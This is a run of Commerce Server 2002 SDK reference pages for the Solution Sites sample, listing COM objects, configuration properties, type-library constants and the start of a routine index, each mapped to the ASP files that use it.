Commerce.Dictionary | include\global_siteconfig_lib.asp
Commerce.Dictionary | include\global_siteterms_lib.asp
Commerce.Dictionary | include\std_util_lib.asp
Commerce.Dictionary | services\include\lib.asp (2)
Commerce.DictionaryXMLTransforms | _recvpo.asp
Commerce.DictionaryXMLTransforms | include\payment.asp
Commerce.EuroDisplay | include\global_internationalization_lib.asp
Commerce.ExpressionEvaluator | include\global_main_lib.asp
Commerce.GenID | AuthFiles\autocookie.asp
Commerce.GenID | AuthFiles\Login.asp
Commerce.GenID | include\global_data_lib.asp
Commerce.ListManager | opt-out.asp
Commerce.MessageManager | include\global_messagemanager_lib.asp
Commerce.OrderGroup | include\std_ordergrp_lib.asp
Commerce.OrderGroupManager | include\std_ordergrp_lib.asp
Commerce.OrderGroupManager | services\include\requisition.asp (2)
Commerce.OrderPipeline | include\global_csf_lib.asp (3)
Commerce.PredictorClient | include\global_predictor_lib.asp
Commerce.PrivateDWMBToAdmin | include\global_siteconfig_lib.asp
Commerce.ProfileService | include\global_profile_lib.asp
Commerce.ProfileService | include\std_profile_lib.asp
Commerce.Shipping | pickship.asp
Commerce.ShippingMethodManager | pickship.asp
Commerce.SimpleFindResultInfo | services\include\requisition.asp (2)
Commerce.SimpleFindSearchInfo | services\include\requisition.asp (2)
Commerce.SimpleList | basket.asp
Commerce.SimpleList | redir.asp (2)
Commerce.SimpleList | include\global_profile_lib.asp
Commerce.SimpleList | include\global_siteterms_lib.asp
Commerce.SimpleList | include\std_util_lib.asp (2)
Commerce.SimpleList | services\include\lib.asp (2)
Commerce.SimpleList | template\discount.asp
Commerce.SiteConfig | unpack.vbs
Commerce.SiteConfig | include\global_siteconfig_lib.asp
Commerce.SiteConfigReadOnly | include\global_data_lib.asp
MSXML.DOMDocument | include\global_messagemanager_lib.asp
MSXML.DOMDOCUMENT | include\payment.asp
Scripting.FileSystemObject | unpack.vbs
Scripting.FileSystemObject | include\std_pipeline_lib.asp
Scripting.FileSystemObject | include\std_util_lib.asp
VBScript.RegExp | include\addr_lib.asp
VBScript.RegExp | include\std_util_lib.asp
VBScript.RegExp | services\include\lib.asp
WindowsInstaller.Installer | unpack.vbs
WScript.Shell | unpack.vbs
Wscript.Shell | include\global_siteconfig_lib.asp

Related Commerce Server 2002 Help Topics

Programmer's Reference\Object Reference

See Also

Initialization of Solution Sites


Use of App Default Config Settings in Solution Sites

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

The following table lists the App Default Config properties and where these properties are referenced in the Solution Sites. For a property referenced more than once in a file, the number of times it is referenced is shown after the file name.

Property | Referencing File
f_AltCurrencyConversionRate | include\global_internationalization_lib.asp
i_AddItemRedirectOptions | _additem.asp (2)
i_AddressBookOptions | addrbook.asp basket.asp newaddr.asp include\std_util_lib.asp
i_AltCurrencyLocale | include\global_internationalization_lib.asp
i_AltCurrencyOptions | include\global_creditcards_lib.asp include\global_forms_lib.asp include\std_util_lib.asp
i_AuctionsOptions | Not referenced in the Solution Sites.
i_BaseCurrencyLocale | include\global_internationalization_lib.asp include\std_util_lib.asp
i_BillingOptions | Not referenced in the Solution Sites.
i_BizTalkOptions | _additem.asp include\payment.asp
i_CookiePathCorrectionOptions | include\std_cookie_lib.asp
i_CurrencyDisplayOrderOptions | include\std_util_lib.asp
i_DelegatedAdminOptions | services\include\lib.asp services\include\render_orders.asp template\menu.asp
i_FormLoginOptions | include\std_access_lib.asp (3) login\login.asp (3) login\logoff.asp (3) login\newuser.asp template\menu.asp
i_FormLoginTimeOut | login\login.asp (2) login\newuser.asp (2)
i_HostNameCorrectionOptions | include\std_cookie_lib.asp
i_IsFullTextSearchInstalled | search.asp
i_PaymentOptions | include\global_siteconfig_lib.asp (2)
i_ShipToLevelOptions | Not referenced in the Solution Sites.
i_ShoppingListOptions | Not referenced in the Solution Sites.
i_SiteDefaultLocale | include\std_profile_lib.asp (2)
i_SitePrivacyOptions | include\std_access_lib.asp include\std_profile_lib.asp
i_SiteRegistrationOptions | login\login.asp login\newuser.asp template\menu.asp
i_SiteTicketOptions | stepsrch.asp include\std_access_lib.asp include\std_cache_lib.asp (2) include\std_cookie_lib.asp include\std_profile_lib.asp (3) include\std_url_lib.asp login\login.asp login\newuser.asp template\menu.asp
s_AltCurrencyCode | include\global_internationalization_lib.asp
s_AltCurrencySymbol | include\global_internationalization_lib.asp (2)
s_AnonymousUserDefaultCatalogSet | include\catalog.asp (2)
s_AuthenticatedUserDefaultCatalogSet | include\catalog.asp (2)
s_BaseCurrencyCode | crdtcard.asp po.asp include\global_internationalization_lib.asp
s_BaseCurrencySymbol | include\global_internationalization_lib.asp (2) include\std_util_lib.asp
s_BizDataStoreConnectionString | include\global_data_lib.asp include\global_main_lib.asp include\global_siteconfig_lib.asp (2)
s_BizTalkCatalogDocType | Not referenced in the Solution Sites, but is used in Commerce Server Business Desk.
s_BizTalkConnString | Not referenced in the Solution Sites.
s_BizTalkOrderDocType | include\payment.asp
s_BizTalkSourceQualifierID | include\payment.asp
s_BizTalkSourceQualifierValue | include\payment.asp
s_BizTalkSubmittypeQueue | include\payment.asp
s_CampaignsConnectionString | opt-out.asp include\global_cache_lib.asp
s_CatalogConnectionString | _additem.asp BDRefresh.asp include\catalog.asp (2) include\global_catalog_lib.asp (2) include\std_pipeline_lib.asp
s_CommerceProviderConnectionString | include\global_profile_lib.asp services\include\delete_profiles.asp services\include\save_all_profiles.asp (3)
s_NonSecureHostname | include\global_siteconfig_lib.asp (2) include\std_cookie_lib.asp
s_PageEncodingCharset | include\global_main_lib.asp
s_ProfileServiceConnectionString | include\global_profile_lib.asp include\std_profile_lib.asp
s_SecureHostname | include\global_siteconfig_lib.asp include\std_cookie_lib.asp
s_SiteName | template\layout1.asp template\no_menu.asp
s_SMTPServerName | Not referenced in the Solution Sites.
s_TransactionConfigConnectionString | BDRefresh.asp pickship.asp (2) include\catalog.asp (2) include\global_cache_lib.asp (10) include\global_catalog_lib.asp include\std_pipeline_lib.asp (2)
s_TransactionsConnectionString | include\std_ordergrp_lib.asp (2) services\include\lib.asp (2) services\include\requisition.asp (2)
s_WeightMeasure | Not referenced in the Solution Sites, but is used in Business Desk.

See Also

App Default Config Settings


Constants Reference

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

Existing global constants are declared in a type library. There are two files named const.asp in the Solution Sites. The distinction between them is their scope—that is, which files include them. The file services\include\const.asp contains constants specific to Partner and Customer Services. An empty file, include\const.asp, is included in all the other Active Server Pages (ASP) pages in the Solution Sites.

This section contains:

  • Partner/Customer Service Constants
  • Global Constants

See Also

Constants


Partner/Customer Service Constants

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

The file services\include\const.asp contains constants specific to Partner and Customer Services. The following pages include this file:

  • services\customer\account.asp
  • services\customer\orders.asp
  • services\customer\view_order.asp
  • services\partner\account.asp
  • services\partner\edit_user.asp
  • services\partner\orders.asp
  • services\partner\users.asp
  • services\partner\view_order.asp

See Also

Global Constants

Constants Reference

Constants


Global Constants

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

The AppConsts 1.0 Type Library is included in the global.asa file. The full source code used to compile this type library is in the Microsoft Commerce Server SDK at <Drive>:\Program Files\Microsoft Commerce Server\SDK\Samples\Solution Sites\AppConsts.idl. Use this file as a starting point if you want to change any values in the type library. If you change any of the values in this type library, you will need to recompile the type library for your changes to become effective.

An empty file, include\const.asp, is included in all the Active Server Pages(ASP) pages other than Partner and Customer Services. You can declare constants in it to avoid rebuilding the AppConsts 1.0 Type Library.

The following topics list the constants declared in the AppConsts 1.0 Type Library:

  • HTMLLib Constants
  • Miscellaneous Constants
  • Access Constants
  • AppConfig Values

See Also

Partner Service Constants

Constants Reference

Constants


HTMLLib Constants

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

The following constants are declared in the AppConsts 1.0 Type Library.

Constant | Data Type | Value
Post types |  |
HTTP_POST | LONG | 1
HTTP_GET | LONG | 2
Collection types |  |
SIMPLELIST_COLLECTION | LONG | 1
DICTIONARY_COLLECTION | LONG | 2
ARRAY_COLLECTION | LONG | 3
Row types |  |
HEADER_ROW | LONG | 1
DATA_ROW | LONG | 2
Commonly used elements |  |
CR | BSTR | L"<BR>"
CRLF | BSTR | L"<P></P>"
BR | BSTR | L"<BR>"
HR | BSTR | L"<HR>"
NBSP | BSTR | L"&nbsp"
NOWRAP | BSTR | L"NOWRAP"
LJ | BSTR | L"LEFT"
RJ | BSTR | L"RIGHT"
CJ | BSTR | L"CENTER"
ALIGN_LEFT | BSTR | L"LEFT"
ALIGN_RIGHT | BSTR | L"RIGHT"
ALIGN_CENTER | BSTR | L"CENTER"

See Also

Miscellaneous Constants

Access Constants

AppConfig Values

Global Constants

Partner Service Constants


Miscellaneous Constants

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

The following constants are declared in the AppConsts 1.0 Type Library.

Constant | Data Type | Value
Pipeline |  |
BASKET_ERRORS | BSTR | L"_Basket_Errors"
PURCHASE_ERRORS | BSTR | L"_Purchase_Errors"
ORDERFORMS | BSTR | L"OrderForms"
ORDERGROUP_ID | BSTR | L"ordergroup_id"
PREFERRED_BILLING_CURRENCY | BSTR | L"preferred_billing_currency"
FIRST_NAME | BSTR | L"first_name"
LAST_NAME | BSTR | L"last_name"
DEFAULT_ORDERFORM | BSTR | L"Default"
SHIPPING_METHOD_NAME | BSTR | L"shipping_method_name"
ADDRESS_ID | BSTR | L"address_id"
ADDRESS_PARENT_ID | BSTR | L"ID"
ADDRESS_NAME | BSTR | L"address_name"
REGION_NAME | BSTR | L"region_name"
REGION_CODE | BSTR | L"region_code"
POSTAL_CODE | BSTR | L"postal_code"
ADDRESS_COUNTRY | BSTR | L"country_code"
Forms |  |
CONFIRM_PASSWORD | BSTR | L"confirm_password"
General |  |
MODIFIED_BY | BSTR | L"user_id_changed_by"
DATE_REGISTERED | BSTR | L"date_registered"
DATE_CREATED | BSTR | L"date_created"

See Also

HTMLLib Constants

Access Constants

AppConfig Values

Global Constants

Partner Service Constants


Access Constants

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

The following constants are declared in the AppConsts 1.0 Type Library.

Constant | Data Type | Value
m_UserAccessType |  |
GUEST_VISIT | LONG | 1
IIS_AUTH | LONG | 2
TICKET_AUTH | LONG | 3
ANON_VISIT | LONG | 5
iUserType |  |
ANON_USER | LONG | 1
GUEST_USER | LONG | 2
AUTH_USER | LONG | 4
AuthManager ticket types |  |
GUEST_TICKET | LONG | 1
AUTH_TICKET | LONG | 2
PROFILE_TYPE |  |
GUEST_PROFILE | LONG | 0
REGISTERED_PROFILE | LONG | 1
Cookie names |  |
GUEST_TICKET_NAME | BSTR | L"MSCSProfile"
AUTH_TICKET_NAME | BSTR | L"MSCSAuth"
TEST_COOKIE_NAME | BSTR | L"mscs_test_cookie_name"
TEST_COOKIE_VALUE | BSTR | L"mscs_test_cookie_value"
Ticket modes |  |
WRITE_TICKET_TO_COOKIE | BOOL | -1
WRITE_TICKET_TO_URL | BOOL | 0
Account status |  |
ACCOUNT_INACTIVE | LONG | 0
ACCOUNT_ACTIVE | LONG | 1
Operational environment |  |
PRODUCTION | LONG | 1
DEVELOPMENT | LONG | 0
Site installation point |  |
HOME_DIRECTORY | LONG | 1
VIRTUAL_DIRECTORY | LONG | 2
Format control |  |
CONTROL_ERROR_TEMPLATE | BSTR | L"%1%2"
BRACKETED_TEMPLATE | BSTR | L"[%1]"
SINGLE_QUOTE_TEMPLATE | BSTR | L"'%1'"
SELECT_CLAUSE_TEMPLATE_3 | BSTR | L"SELECT %1 FROM %2 WHERE %3 ORDER BY %4"
LABEL_TEMPLATE | BSTR | L"%1:"
FULLNAME_TEMPLATE | BSTR | L"%1%2"
KEYVALUE_TEMPLATE | BSTR | L"%1=%2"
Buttons, post, and URL keys |  |
MODE | BSTR | L"mode"
ACTION_BTN_CTRL_NAME | BSTR | L"btnAction"
SUBMIT_BUTTON | BSTR | L"btnSubmit"
RESET_BUTTON | BSTR | L"btnReset"
ADDRESS_TYPE | BSTR | L"address_type"
PAGENUMBER_URL_KEY | BSTR | L"Page"
DEF_NAME_URL_KEY | BSTR | L"def_name"
CATALOG_NAME_URL_KEY | BSTR | L"catalog_name"
CATEGORY_NAME_URL_KEY | BSTR | L"category_name"
PRODUCT_ID_URL_KEY | BSTR | L"product_id"
PRODUCT_QTY_URL_KEY | BSTR | L"product_qty"
PRODUCT_ACTION_KEY | BSTR | L"ActionKey"
VARIANT_ID_URL_KEY | BSTR | L"variant_id"
ITEM_INDEX_URL_KEY | BSTR | L"index"
ORDERFORM_NAME | BSTR | L"orderform_name"
ORDER_ID | BSTR | L"order_id"
ORDER_NUMBER | BSTR | L"order_number"
BILLING_USE | BSTR | L"use_for_billing"
CHECKED | BSTR | L"1"
GUIDS | BSTR | L"ID"
SOURCE_PAGE | BSTR | L"SourcePage"
ADD_ACTION | BSTR | L"New"
ADDRBK_MODE | BSTR | L"addrbk_mode"
RETURN_URL | BSTR | L"return_url"
PO_ITEMINDEX_URL_KEY | BSTR | L"po_index"
SHIPPING_METHOD_URL_KEY | BSTR | L"chkShippingMethod"

See Also

HTMLLib Constants

Miscellaneous Constants

AppConfig Values

Global Constants

Partner Service Constants


AppConfig Values

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

The following constants are declared in the AppConsts 1.0 Type Library.

Constant | Data Type | Value
i_AddressBookOption |  |
ADDRESSBOOK_DISABLED | LONG | 0
ADDRESSBOOK_READONLY | LONG | 1
ADDRESSBOOK_READWRITE | LONG | 2
i_AddItemRedirectOptions |  |
REDIRECT_TO_BASKET | LONG | 0
REDIRECT_TO_PRODUCT | LONG | 1
i_AltCurrencyOptions |  |
ALTCURRENCY_DISPLAY_DISABLED | LONG | 0
ALTCURRENCY_DISPLAY_ENABLED | LONG | 1
i_BillingOptions |  |
NO_BILLING_OPTIONS | LONG | 0
STANDALONE_PO | LONG | 2
i_BizTalkOptions |  |
BIZTALK_PO_XFER_DISABLED | LONG | 0
BIZTALK_PO_XFER_ENABLED | LONG | 1
i_CurrencyDisplayOrderOptions |  |
DISPLAY_BASE_CURRENCY_FIRST | LONG | 0
DISPLAY_ALT_CURRENCY_FIRST | LONG | 1
i_DelegatedAdminOptions |  |
DELEGATED_ADMIN_NOT_SUPPORTED | LONG | 0
DELEGATED_ADMIN_SUPPORTED | LONG | 1
i_FormLoginOptions |  |
FORM_LOGIN_NOT_SUPPORTED | LONG | 0
FORCE_LOGIN_ON_ENTRANCE | LONG | 1
LOGIN_OPTIONAL_ON_ENTRANCE | LONG | 2
FORCE_LOGIN_ON_PURCHASE | LONG | 5
LOGIN_OPTIONAL_ANY_TIME | LONG | 6
USE_IIS_AUTH | LONG | 7
i_PaymentOptions |  |
CREDIT_CARD_PAYMENT_OPTION | LONG | 1
PURCHASE_ORDER_PAYMENT_OPTION | LONG | 4
i_HostNameCorrectionOptions |  |
HOSTNAME_CORRECTION_DISABLED | LONG | 0
HOSTNAME_CORRECTION_ENABLED | LONG | 1
i_CookiePathCorrectionOptions |  |
APP_BASED_CORRECTION | LONG | 1
FILTER_BASED_CORRECTION | LONG | 2
i_SitePrivacyOptions |  |
PROFILE_GUEST_USER | LONG | 1
TRACK_GUEST_VISITS | LONG | 2
i_SiteRegistrationOptions |  |
REGISTRATION_SUPPORTED | LONG | 1
REGISTRATION_NOT_SUPPORTED | LONG | 0
i_SiteTicketOptions |  |
PUT_TICKET_IN_URL | LONG | 1
PUT_TICKET_IN_COOKIE | LONG | 2
GetProfile option |  |
RETURN_NOTHING_ON_NO_PROFILE | BOOL | 0
RETURN_HRESULT_ON_NO_PROFILE | BOOL | -1
Profile fields |  |
PROFILE_TYPE_USER | BSTR | L"UserObject"
PROFILE_TYPE_ADDRESS | BSTR | L"Address"
PROFILE_TYPE_ORG | BSTR | L"Organization"
SCHEMA_CATALOG | BSTR | L"ProfileDefinitions"
PROFILE_SYSTEM_GROUP | BSTR | L"ProfileSystem"
BUSINESS_DESK_GROUP | BSTR | L"BusinessDesk"
GENERAL_INFO_GROUP | BSTR | L"GeneralInfo"
ACCOUNT_INFO_GROUP | BSTR | L"AccountInfo"
FIELD_ORG_ORG_ID | BSTR | L"org_id"
FIELD_ORG_NAME | BSTR | L"name"
FIELD_ORG_CONTACT | BSTR | L"user_id_admin_contact"
FIELD_ORG_DATE_UPDATED | BSTR | L"date_last_changed"
FIELD_ORG_CHANGED_BY | BSTR | L"user_id_changed_by"
FIELD_ORG_PURCHASING_MANAGER | BSTR | L"user_id_purchasing_manager"
FIELD_ORG_RECEIVING_MANAGER | BSTR | L"user_id_receiver"
ORG_CATALOGSET | BSTR | L"GeneralInfo.org_catalog_set"
FIELD_USER_ID | BSTR | L"user_id"
FIELD_USER_LOGIN_NAME | BSTR | L"logon_name"
FIELD_USER_PASSWORD | BSTR | L"user_security_password"
FIELD_USER_FIRST_NAME | BSTR | L"first_name"
FIELD_USER_LAST_NAME | BSTR | L"last_name"
FIELD_USER_CHANGED_BY | BSTR | L"user_id_changed_by"
FIELD_USER_TELEPHONE | BSTR | L"tel_number"
FIELD_USER_TELEPHONE_EXTENSION | BSTR | L"tel_extension"
FIELD_USER_ORGID | BSTR | L"org_id"
FIELD_USER_STATUS | BSTR | L"account_status"
FIELD_USER_DATE_REGISTERED | BSTR | L"date_registered"
FIELD_USER_PARTNERDESK_ROLE | BSTR | L"partner_desk_role"
FIELD_USER_DATE_UPDATED | BSTR | L"date_last_changed"
FIELD_USER_PARENT_DN | BSTR | L"ParentDN"
FIELD_USER_UserAccountControl | BSTR | L"user_account_control"
FIELD_USER_SAMAccountName | BSTR | L"sam_account_name"
FIELD_USER_OLD_PASSWORD | BSTR | L"old_user_password"
FIELD_USER_NEW_PASSWORD | BSTR | L"new_user_password"
FIELD_USER_CONFIRM_PASSWORD | BSTR | L"confirm_password"
ACCOUNT_STATUS | BSTR | L"account_status"
USER_ID | BSTR | L"user_id"
PROFILE_TYPE | BSTR | L"user_type"
LOGON_NAME | BSTR | L"logon_name"
LOGON_PASSWORD | BSTR | L"user_security_password"
USER_LOGIN_NAME | BSTR | L"GeneralInfo.logon_name"
USER_PASSWORD | BSTR | L"GeneralInfo.user_security_password"
USER_FIRST_NAME | BSTR | L"GeneralInfo.first_name"
USER_LAST_NAME | BSTR | L"GeneralInfo.last_name"
USER_CHANGED_BY | BSTR | L"GeneralInfo.user_id_changed_by"
USER_ORGID | BSTR | L"AccountInfo.org_id"
USER_STATUS | BSTR | L"AccountInfo.account_status"
USER_DATE_REGISTERED | BSTR | L"AccountInfo.date_registered"
USER_CATALOGSET | BSTR | L"AccountInfo.user_catalog_set"
USER_PARTNERDESK_ROLE | BSTR | L"BusinessDesk.partner_desk_role"
USER_DATE_UPDATED | BSTR | L"ProfileSystem.date_last_changed"
USER_PARENT_DN | BSTR | L"ProfileSystem.ParentDN"
USER_UserAccountControl | BSTR | L"ProfileSystem.user_account_control"
USER_SAMAccountName | BSTR | L"ProfileSystem.sam_account_name"
FIELD_ADDRESS_ID | BSTR | L"id"
FIELD_ADDRESS_ADDRESS_ID | BSTR | L"address_id"
FIELD_ADDRESS_TYPE | BSTR | L"address_type"
FIELD_ADDRESS_FRIENDLY_NAME | BSTR | L"address_name"
FIELD_ADDRESS_FIRST_NAME | BSTR | L"first_name"
FIELD_ADDRESS_LAST_NAME | BSTR | L"last_name"
FIELD_ADDRESS_ADDRESS1 | BSTR | L"address_line1"
FIELD_ADDRESS_ADDRESS2 | BSTR | L"address_line2"
FIELD_ADDRESS_CITY | BSTR | L"city"
FIELD_ADDRESS_REGION_NAME | BSTR | L"region_name"
FIELD_ADDRESS_REGION_CODE | BSTR | L"region_code"
FIELD_ADDRESS_POSTAL_CODE | BSTR | L"postal_code"
FIELD_ADDRESS_COUNTRY_CODE | BSTR | L"country_code"
FIELD_ADDRESS_COUNTRY_NAME | BSTR | L"country_name"
FIELD_ADDRESS_TELEPHONE | BSTR | L"tel_number"
FIELD_ADDRESS_TELEPHONE_EXTENSION | BSTR | L"tel_extension"
FIELD_ADDRESS_DATE_CREATED | BSTR | L"date_created"
FIELD_ADDRESS_DATE_UPDATED | BSTR | L"date_last_changed"
FIELD_ADDRESS_UPDATED_BY | BSTR | L"user_id_changed_by"
FIELD_ADDRESS_DESCRIPTION | BSTR | L"description"
ADDRESS_ADDRESS1 | BSTR | L"GeneralInfo.address_line1"
ADDRESS_ADDRESS2 | BSTR | L"GeneralInfo.address_line2"
ADDRESS_CITY | BSTR | L"GeneralInfo.city"
ADDRESS_POSTALCODE | BSTR | L"GeneralInfo.postal_code"
ADDRESS_COUNTRY_NAME | BSTR | L"GeneralInfo.country_name"
ADDRESS_TELEPHONE | BSTR | L"GeneralInfo.tel_number"
ADDRESS_TELEPHONE_EXTENSION | BSTR | L"tel_extension"
ADDRESS_DATE_CREATED | BSTR | L"ProfileSystem.date_created"
ADDRESS_DATE_UPDATED | BSTR | L"ProfileSystem.date_last_changed"
ADDRESS_UPDATED_BY | BSTR | L"GeneralInfo.user_id_changed_by"
ADDRESS_DESCRIPTION | BSTR | L"GeneralInfo.description"
Address types |  |
NEUTRAL_ADDRESS | LONG | 0
SHIPPING_ADDRESS | LONG | 1
BILLING_ADDRESS | LONG | 2
User admin roles |  |
ROLE_USER | LONG | 1
ROLE_ADMIN | LONG | 2
Caching |  |
TICKET_REPLACEMENT_TOKEN | BSTR | L"__TICKET__"
Catalog classes |  |
cscCategoryClass | LONG | 1
cscProductVariantClass | LONG | 2
cscProductClass | LONG | 4
cscProductFamilyClass | LONG | 8
cscProductFamilyForVariantsClass | LONG | 16
cscProductVariantsForFamily | LONG | 32
Catalog attributes/properties |  |
DISPLAY_ON_SITE_ATTRIBUTE | BSTR | L"DisplayOnSite"
DISPLAY_NAME_ATTRIBUTE | BSTR | L"DisplayName"
PROPERTY_NAME_ATTRIBUTE | BSTR | L"PropertyName"
DEFINITION_TYPE_PROPERTY_NAME | BSTR | L"i_ClassType"
CATALOG_PRODUCTID_PROPERTY_NAME | BSTR | L"ProductID"
CATALOG_VARIANTID_PROPERTY_NAME | BSTR | L"VariantID"
PRODUCT_NAME_PROPERTY_NAME | BSTR | L"Name"
PRODUCT_DESCRIPTION_PROPERTY_NAME | BSTR | L"description"
PRODUCT_PRICE_PROPERTY_NAME | BSTR | L"cy_list_price"
CATALOG_NAME_PROPERTY_NAME | BSTR | L"CatalogName"
CATEGORY_NAME_PROPERTY_NAME | BSTR | L"CategoryName"
IMAGE_FILENAME_PROPERTY_NAME | BSTR | L"Image_filename"
IMAGE_WIDTH_PROPERTY_NAME | BSTR | L"Image_width"
IMAGE_HEIGHT_PROPERTY_NAME | BSTR | L"Image_height"
PROD_CLASSTYPE_FLDNAME | BSTR | L"i_ClassType"
PROD_CATALOG_FLDNAME | BSTR | L"CatalogName"
PRODUCTLIST_SORT_PROPERTY_NAME | BSTR | L"name"
CATALOG_SEARCH_CATEGORY_NAME | BSTR | L""
CATALOG_ROOT_CATEGORY_NAME | BSTR | L""
ADO_CONNECTION_STRING | BOOL | -1
Pipeline keys |  |
SHIPPING_ADDRESS_ID | BSTR | L"shipping_address_id"
BILLING_ADDRESS_ID | BSTR | L"billing_address_id"
SHIPPING_METHOD_KEY | BSTR | L"shipping_method_id"
PAYMENT_METHOD | BSTR | L"payment_method"
ORDERFORM_PRODUCT_QTY_KEY | BSTR | L"quantity"
TOTAL_LINEITEMS | BSTR | L"total_lineitems"
SHIPPING_TOTAL | BSTR | L"_cy_shipping_total"
HANDLING_TOTAL | BSTR | L"_cy_handling_total"
TAX_TOTAL | BSTR | L"_cy_tax_total"
SAVED_SUBTOTAL | BSTR | L"saved_cy_oadjust_subtotal"
SAVED_SHIPPING_TOTAL | BSTR | L"saved_cy_shipping_total"
SAVED_HANDLING_TOTAL | BSTR | L"saved_cy_handling_total"
SAVED_TAX_TOTAL | BSTR | L"saved_cy_tax_total"
SAVED_TOTAL_TOTAL | BSTR | L"saved_cy_total_total"
SUBTOTAL | BSTR | L"_cy_oadjust_subtotal"
TOTAL_TOTAL | BSTR | L"_cy_total_total"
CC_NAME | BSTR | L"cc_name"
CC_TYPE | BSTR | L"cc_type"
CC_NUMBER | BSTR | L"_cc_number"
CC_MONTH | BSTR | L"_cc_expmonth"
CC_YEAR | BSTR | L"_cc_expyear"
CREDIT_CARD_PAYMENT_METHOD | BSTR | L"credit_card"
PURCHASE_ORDER_PAYMENT_METHOD | BSTR | L"purchase_order"
INI file |  |
CONFIG_FILE | BSTR | L"CSApp.ini"
SITE_NAME | BSTR | L"SiteName"
APP_NAME | BSTR | L"AddressKeyName"
SiteConfig |  |
WEB_SERVER_MACHINE | BSTR | L"s_WebServerMachine"
WEB_SERVER_NAME | BSTR | L"s_WebServerName"
WEB_SERVER_COUNT | BSTR | L"s_NumberOfServers"
CURRENT_WEB_SERVER | BSTR | L"s_CurrentServer"
WEB_SERVER_INSTANCE | BSTR | L"s_WebServerInstance"
Table names |  |
ADDRESS_BOOK_TABLE | BSTR | L"AddressBook"
HRESULTs |  |
HRESULT_E_FAIL | LONG | -2147467259 (0x80004005)
HRESULT_E_NOTIMPL | LONG | -2147467263 (0x80004001)
Input field types |  |
TEXTBOX | LONG | 0
LISTBOX | LONG | 1
PASSWORD | LONG | 2
HIDDEN | LONG | 3
CHECKBOX | LONG | 4
COMBOBOX | LONG | 5
DATETIME | LONG | 7
FileSystemObject |  |
ForReading | LONG | 1
TristateUseDefault | LONG | -2

See Also

HTMLLib Constants

Miscellaneous Constants

Access Constants

Global Constants

Partner Service Constants


Routines Reference

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

Nearly all of the content displayed in the Commerce Server Solution Sites is constructed dynamically using Microsoft Visual Basic Scripting Edition, running within Active Server Pages (ASP). Numerous routines have been written that can be used as is for building new pages, or the routines can be modified as needed to alter existing pages and to support new pages.

It is crucial that you understand the existing Solution Sites routines in order to avoid rewriting code that has already been written and debugged. There are nearly 700 subroutines and functions in the Solution Sites files.

This reference contains one topic per routine. Each routine topic describes the purpose of the routine. A definition section shows the routine definition from the source file. For the most commonly used routines, the parameters are described in detail, return values are described where they exist, and additional remarks may be present. Each routine topic also contains a link to the topic for the file in which the routine is defined.

All routine topics are interlinked in the same fashion as their calling sequences, so that they can be traversed in the same way. This can be important when modifying existing code, and understanding the potential side effects of those changes. See the sections in each topic named "Routines Called" and "Called By".

To make the number of routines more manageable, the routine topics have been divided alphabetically as indicated.

This section contains:

  • A - D
  • E - G
  • H
  • I - O
  • P - R
  • S - V


A - D

Send feedback about this page Commerce Server 2002 SDK

A – D

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This section contains topics for the following routines, beginning with the letters A through D.

Routine | File
AddDiscountMessages | include\std_ordergrp_lib.asp
AddDiscountMessages | services\include\logic_orders.asp
AddGroupAndPropertySchemas | include\global_profile_lib.asp
AddPartnerAndCustomerServicePages | services\include\global_service_lib.asp
AddPartnerAndCustomerServiceStyles | services\include\global_service_lib.asp
AddSetClauseAndUpdateUserAccountControl | services\include\save_all_profiles.asp
AddURLArguments | include\std_url_lib.asp
Analysis_ConstructKeyValueString | include\analysis.asp
Analysis_ConstructPRID | include\analysis.asp
Analysis_LogAddToBasket | include\analysis.asp
Analysis_LogEvent | include\analysis.asp
Analysis_LogRemoveFromBasket | include\analysis.asp
Analysis_LogSubmitOrder | include\analysis.asp
Application_OnStart | global.asa
ApplyVendorInfo | _additem.asp
arrPopulateOrderHeaderDetails | services\include\render_orders.asp
arrPopulateProfileDetails | services\include\render_list.asp
arrSearchDept | srchdept.asp
bAddUserToGroup | services\include\ad_routines.asp
bCheckIfProfileExists | services\include\check_profile.asp
bCheckIfThePropertyFeatureIsSupported | services\include\lib.asp
bClickedViewButton | stepsrch.asp
bClickedViewOrSearchButton | stepsrch.asp
bFullTextResultsAreCached | search.asp
bHandlePaintingACLsForUsersInAD | services\include\save_one_profile.asp
bInsertProfile | services\include\save_one_profile.asp
bInsertProfileDetails | services\include\save_one_profile.asp
bInsertProperty | services\include\save_one_profile.asp
bInvalidDate | services\include\lib.asp
bIsAddressNameUnique | newaddr.asp
bIsPropertyValueAdded | services\include\check_profile.asp
bIsSearchDeptPageCached | srchdept.asp
bIsShippingMethodSupported | _setship.asp
bIsSiteTerm | include\global_siteterms_lib.asp
bIsStepSearchPageCached | stepsrch.asp
bMatchesPattern | include\form_lib.asp
Bold | include\html_lib.asp
BooleanToString | include\std_string_lib.asp
bPaintACLForUser | services\include\ad_routines.asp
bProfileHasChanged | services\include\check_profile.asp
bRegistrationPageNotAvailable | login\newuser.asp
bRemoveUserFromGroup | services\include\ad_routines.asp
BRTag | include\html_lib.asp
bSaveProfileAndRedirect | services\include\save_one_profile.asp
bSaveProfileDetails | services\include\save_one_profile.asp
bSaveProperty | services\include\save_one_profile.asp
bSaveReadWriteProperty | services\include\save_one_profile.asp
bValidateLoginNameChars | services\include\lib.asp
bValidatePasswordChars | services\include\lib.asp
CacheFragment | include\std_cache_lib.asp
CacheObject | include\std_cache_lib.asp
CatchErrors | _setadrs.asp
CatchErrors | _setship.asp
CatchErrors | addrbook.asp
CatchErrors | addrform.asp
CatchErrors | newaddr.asp
CatchErrors | pickship.asp
CatchErrors | summary.asp
CatchErrorsForPaymentPages | include\payment.asp
cellRenderReadOnlyProperty | services\include\render_common.asp
ChangeActionHandler | services\include\password_handlers.asp
CheckBasket | basket.asp
CheckIfOrderExists | services\include\lib.asp
CheckIfProfilesExist | services\include\lib.asp
CheckOut | include\payment.asp
CheckPartnerServiceAccess | include\std_access_lib.asp
CloseOrderDetailsActionHandler | services\include\order_handlers.asp
CollectBasketItems | template\discount.asp
